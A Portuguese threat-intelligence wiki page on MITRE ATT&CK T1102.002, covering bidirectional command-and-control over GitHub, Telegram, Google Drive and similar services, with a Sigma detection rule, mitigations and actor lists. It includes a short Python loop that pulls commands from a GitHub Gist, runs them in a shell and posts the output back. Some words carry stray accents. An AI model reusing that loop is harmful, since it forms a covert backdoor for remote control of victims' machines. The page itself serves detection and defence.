# T1102.002 - Bidirectional Commúnication
## Descrição
A subtécnica T1102.002 descreve o uso de serviços web legítimos e amplamente conhecidos como canal de comando e controle (C2) bidirecional - ou sejá, o adversário envia comandos ao sistema comprometido e recebe a saída desses comandos pelo mesmo canal. Diferente de T1102.001 (comunicação unidirecional), aqui o implante tanto lê instruções quanto escreve resultados de volta ao serviço web, criando um canal C2 funcional completamente escondido dentro de tráfego legítimo para plataformas como GitHub, Google Drive, Dropbox, Pastebin, Twitter/X, Reddit, Telegram e OneDrive.
O mecanismo central dessa técnica é a exploração da confiança que firewalls e proxies corporativos depositam em serviços cloud populares. Como a grande maioria das organizações permite acesso irrestrito a domínios como `github.com`, `drive.google.com` ou `api.telegram.org`, o tráfego C2 passa despercebido por controles de rede tradicionais. O implante se autentica no serviço com credenciais controladas pelo atacante (token OAuth, API key ou conta criada para a operação), lê um arquivo ou post com os comandos a executar, executa localmente, e escreve a saída de volta - por exemplo, atualizando um arquivo no Google Docs, postando um comentário no GitHub, ou enviando uma mensagem Telegram. O uso de SSL/TLS nativo dessas plataformas adiciona uma camada de proteção adicional contra inspeção de conteúdo.
> **Técnica pai:** [[t1102-web-service|T1102 - Web Service]]
Grupos como [[g0010-turla|Turla]] e [[g0032-lazarus-group|Lazarus Group]] evoluíram significativamente o uso dessa técnica ao longo dos anos, passando de plataformas simples como Twitter para canais mais sofisticados como repositórios GitHub privados ou chats no Slack. O [[g0008-carbanak|Carbanak]], responsável por alguns dos maiores roubos bancários da história, usou webmail como canal C2 bidirecional em ataques contra bancos - incluindo instituições financeiras latino-americanas.
**Contexto Brasil/LATAM:** No Brasil, a técnica é particularmente eficaz porque organizações frequentemente não implementam inspeção SSL de tráfego para domínios de grandes provedores cloud (Google, Microsoft, GitHub), tornando o conteúdo C2 invisível para proxies. Grupos como [[g0094-kimsuky|Kimsuky]] e [[g0032-lazarus-group|Lazarus Group]] - que têm histórico documentado de operações contra empresas de criptomoedas e instituições financeiras brasileiras - adotam GitHub e Google Drive como canais C2 precisamente porque o bloqueio desses serviços causaria impacto operacional inaceitável para a maioria das organizações. O uso de Telegram como C2 (via API `api.telegram.org`) é crescente no LATAM, com vários RATs de origem regional adotando o protocolo como canal primário de controle.
## Attack Flow
```mermaid
graph TB
A([Comprometer Host]) --> B([Implantar Backdoor])
B --> C{T1102.002 - C2 Bidirecional via Web}:::highlight
C --> D([Receber Comandos])
C --> E([Enviar Resultados])
D --> F([Executar Ações])
classDef highlight fill:#e74c3c,color:#fff,stroke:#c0392b,stroke-width:2px
```
## Como Funciona
### 1. Preparação
O adversário configura a infraestrutura C2 antes de implantar o malware. Isso inclui criar contas em plataformas legítimas (conta GitHub, repositório privado, bot Telegram, pasta Google Drive) usando identidades falsas ou contas comprometidas. Um arquivo de configuração ou post específico é criado com o formato que o implante esperará para decodificar os comandos - frequentemente em Base64 ou com criptografia simétrica adicional para dificultar análise. O implante é então compilado com as credenciais do serviço embutidas (token OAuth, API key) ou com lógica para derivar o canal C2 dinâmicamente.
### 2. Execução
O implante executa um loop de polling - a cada intervalo configurado (minutos ou horas, para evitar padrões de tráfego óbvios), conecta-se ao serviço web usando APIs REST legítimas:
```python
# Exemplo conceitual - C2 via GitHub Gist (padrão observado em campanhas APT)
import requests, base64, time
TOKEN = "ghp_XXXXX" # Token OAuth da conta controlada pelo atacante
GIST_ID = "abc123" # Gist privado com comandos
headers = {"Authorization": f"token {TOKEN}"}
while True:
# Lê o comando do Gist (polling)
r = requests.get(f"https://api.github.com/gists/{GIST_ID}", headers=headers)
cmd = base64.b64decode(r.json()["files"]["cmd.txt"]["content"]).decode()
# Executa o comando localmente
import subprocess
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Escreve resultado de volta no Gist (bidirecional)
requests.patch(
f"https://api.github.com/gists/{GIST_ID}",
headers=headers,
json={"files": {"output.txt": {"content": base64.b64encode(output).decode()}}}
)
time.sleep(300) # Polling a cada 5 minutos
```
Plataformas observadas em uso por atores reais: GitHub Gists ([[s0393-powerstallion|PowerStallion]]), Google Docs ([[s0025-calendar|CALENDAR]]), Dropbox ([[s0538-crutch|Crutch]]), Slack ([[g0010-turla|Turla]]), Telegram (múltiplos RATs), Reddit ([[s0229-orz|Orz]]).
### 3. Pós-execução
Com o canal C2 estabelecido, o operador executa comandos de reconhecimento, movimentação lateral, exfiltração e manutenção de acesso a longo prazo. A principal vantagem operacional é a resiliência: se a organização bloquear um domínio, o atacante migra para outra plataforma (técnica denominada "C2 resiliente por canal"). A duração do acesso pode ser medida em meses ou anos sem que o canal C2 sejá detectado por soluções de segurança que não inspecionam conteúdo de tráfego HTTPS para domínios confiáveis.
## Detecção
### Event IDs e Indicadores Relevantes
| Indicador | Fonte | Descrição |
|-----------|-------|-----------|
| Event ID 3 | Sysmon | Conexão de rede - correlacionar processo incomum (ex: `explorer.exe`, `svchost.exe`) conectando a `api.github.com`, `api.telegram.org`, `www.googleapis.com` |
| Event ID 1 | Sysmon | Criação de processo - identificar processos filhos de `outlook.exe`, `winword.exe` ou `powershell.exe` fazendo chamadas web |
| DNS queries | DNS logs | Queries frequentes e regulares para APIs de serviços cloud por hosts que não deveriam usar essas APIs |
| Volume de tráfego | Proxy/Firewall | Volume baixo e regular (polling) para APIs cloud a partir de servidores ou estações de trabalho sem justificativa |
| 4688 | Security | Linha de comando PowerShell com `Invoke-WebRequest` ou `Invoke-RestMethod` para domínios cloud |
### Sigma Rule
```yaml
title: T1102.002 - Suspicious Bidirectional C2 via Legitimaté Web Services
id: c5e29f1a-7b3d-4c8e-a2f4-1d9e7b5c3a6f
status: experimental
description: >
Detecta padrões de comúnicação C2 bidirecional usando APIs de serviços
web legítimos. Foca em processos incomuns fazendo chamadas regulares
para APIs cloud que normalmente não são acessadas por esses processos.
author: RunkIntel
daté: 2026-03-24
references:
- [[t1102-002-bidirectional-communication]]
logsource:
category: network_connection
product: windows
detection:
selection_suspicious_process_to_cloud:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\regsvr32.exe'
DestinationHostname|endswith:
- 'api.github.com'
- 'api.telegram.org'
- 'pastebin.com'
- 'raw.githubusercontent.com'
- 'drive.google.com'
- 'www.googleapis.com'
- 'api.dropboxapi.com'
selection_office_to_cloud:
Image|endswith:
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
DestinationHostname|endswith:
- 'api.github.com'
- 'api.telegram.org'
- 'pastebin.com'
condition: 1 of selection_*
falsepositives:
- Ferramentas de desenvolvimento legítimas (GitHub Desktop, VS Code com extensões)
- Automações corporativas usando APIs Google (Google Apps Script)
- Bots Telegram corporativos legítimos de notificação
level: medium
tags:
- attack.command_and_control
- attack.t1102.002
```
## Mitigação
| Controle | Mitigação | Recomendação para Organizações Brasileiras |
|----------|-----------|---------------------------------------------|
| [[m1021-restrict-web-based-content\|M1021 - Restrict Web-Based Content]] | Restringir acesso a APIs de serviços cloud por categoria de usuário | Implementar proxy com autenticação; bloquear acesso direto a `api.github.com`, `api.telegram.org` e `pastebin.com` para servidores e estações que não tenham justificativa de negócio. No Brasil, Telegram tem uso corporativo crescente - criar allowlist baseada em identidade, não em domínio |
| [[m1031-network-intrusion-prevention\|M1031 - Network Intrusion Prevention]] | Inspeção SSL para domínios cloud | Habilitar SSL inspection no proxy para domínios cloud mesmo que "confiáveis"; sem isso, o conteúdo C2 é completamente invisível. Considerar soluções CASB (Cloud Access Security Broker) para controle granular |
| Monitoramento de comportamento de rede | Detectar padrões de polling | Configurar alertas para conexões regulares (a cada N minutos) de processos incomuns para domínios cloud. Usar NDR (Network Detection and Response) com análise de comportamento para identificar beaconing |
| Inventário de tokens OAuth | Auditar tokens e API keys criados em plataformas cloud | Revogar tokens OAuth não utilizados em GitHub, Google, Dropbox; configurar alertas para criação de novos tokens. Ação importante para organizações com desenvolvedores ativos no Brasil que criam tokens sem controle adequado |
| Segmentação de servidores | Isolar servidores de produção de acesso à internet | Servidores que não precisam acessar internet não devem ter acesso direto - routing via proxy inspecionado. Prática simples que elimina grande parte dos canais C2 em ambientes de data center |
## Threat Actors que Usam
- [[g0094-kimsuky|Kimsuky]] - grupo norte-coreano que usou Google Docs e Blogger como canais C2 em campanhas de espionagem contra think tanks e ministérios de relações exteriores; atua contra alvos sul-coreanos mas com alcance global incluindo LATAM
- [[g1005-polonium|POLONIUM]] - grupo ligado ao Hezbollah que usou Dropbox, OneDrive e GitHub como infraestrutura C2 em ataques contra alvos israelenses; técnica exportada para outras operações do grupo
- [[g0067-apt37|APT37]] - grupo norte-coreano que usou Dropbox, Yandex e PCloud como canais C2 bidirecionais em campanhas de espionagem contra jornalistas e dissidentes
- [[g0032-lazarus-group|Lazarus Group]] - grupo mais relevante para o Brasil no contexto de ataques financeiros; usou GitHub como C2 em campanhas contra exchanges de criptomoedas - mercado em forte crescimento no país
- [[g0005-apt12|APT12]] - grupo chinês que usou fóruns e plataformas de blog como canais C2; técnicas documentadas pelo Mandiant em campanhas contra mídia e governo
- [[g0087-apt39|APT39]] - grupo iraniano focado em telecomúnicações; usou Google Drive como canal C2 para manter acesso persistente a operadoras de telefonia no Oriente Médio e Europa
- [[g0059-magic-hound|Magic Hound]] - grupo iraniano vinculado ao IRGC; usou Telegram como canal C2 em diversas campanhas, tornando esse vetor particularmente relevante para o Brasil onde Telegram tem penetração massiva
- [[g0010-turla|Turla]] - grupo FSB russo com décadas de experiência em C2 criativo; usou Dropbox, GitHub, Slack e até comentários em imagens no Instagram como canais bidirecionais
- [[g1001-hexane|HEXANE]] - grupo iraniano focado em telecomúnicações e petróleo; usou DNS over HTTPS e serviços cloud legítimos para mascarar C2 em redes corporativas segmentadas
- [[g0008-carbanak|Carbanak]] - grupo responsável por roubos bilionários de bancos; usou webmail e serviços de email legítimos como C2 em ataques contra instituições financeiras - relevante para o setor bancário brasileiro
## Software Associado
- [[s0393-powerstallion|PowerStallion]] - backdoor PowerShell do grupo [[g0010-turla|Turla]] que usa OneDrive como canal C2 bidirecional; lê comandos e escreve resultados em pastas específicas do OneDrive
- [[s0651-boxcaon|BoxCaon]] - backdoor que usa Box.com como canal C2; documenta bem o padrão de usar serviços de armazenamento cloud empresarial para C2
- [[s1222-riflespine|RIFLESPINE]] - implante que usa Google Drive como canal de C2 bidirecional; associado a campanhas de espionagem da Coreia do Norte
- [[s0538-crutch|Crutch]] - backdoor do [[g0010-turla|Turla]] com canal C2 via Dropbox; implementa mecanismo de polling e upload de resultados sofisticado
- [[s0660-clambling|Clambling]] - malware APT chinês que usa fóruns e plataformas de compartilhamento de texto como canal C2
- [[s0229-orz|Orz]] - backdoor que usa Reddit como canal C2; lê posts em subreddits controlados pelo atacante e posta respostas com output dos comandos
- [[s0025-calendar|CALENDAR]] - malware iraniano que usa Google Calendar como canal C2; lê eventos criados pelo atacante para obter comandos e cria novos eventos com os resultados
- [[s0046-cozycar|CozyCar]] - malware do [[g0016-apt29|APT29]] com capacidade de usar múltiplos canais web legítimos como C2, incluindo Twitter e plataformas de blog
- [[s0248-yty|yty]] - framework modular com suporte a múltiplos canais C2, incluindo plataformas de blog e serviços de compartilhamento de arquivo
- [[s0218-slowdrift|SLOWDRIFT]] - downloader do [[g0067-apt37|APT37]] que usa serviços cloud para baixar payloads adicionais e reportar status ao operador
---
*Fonte: [MITRE ATT&CK - T1102.002](https://attack.mitre.org/techniques/T1102/002)*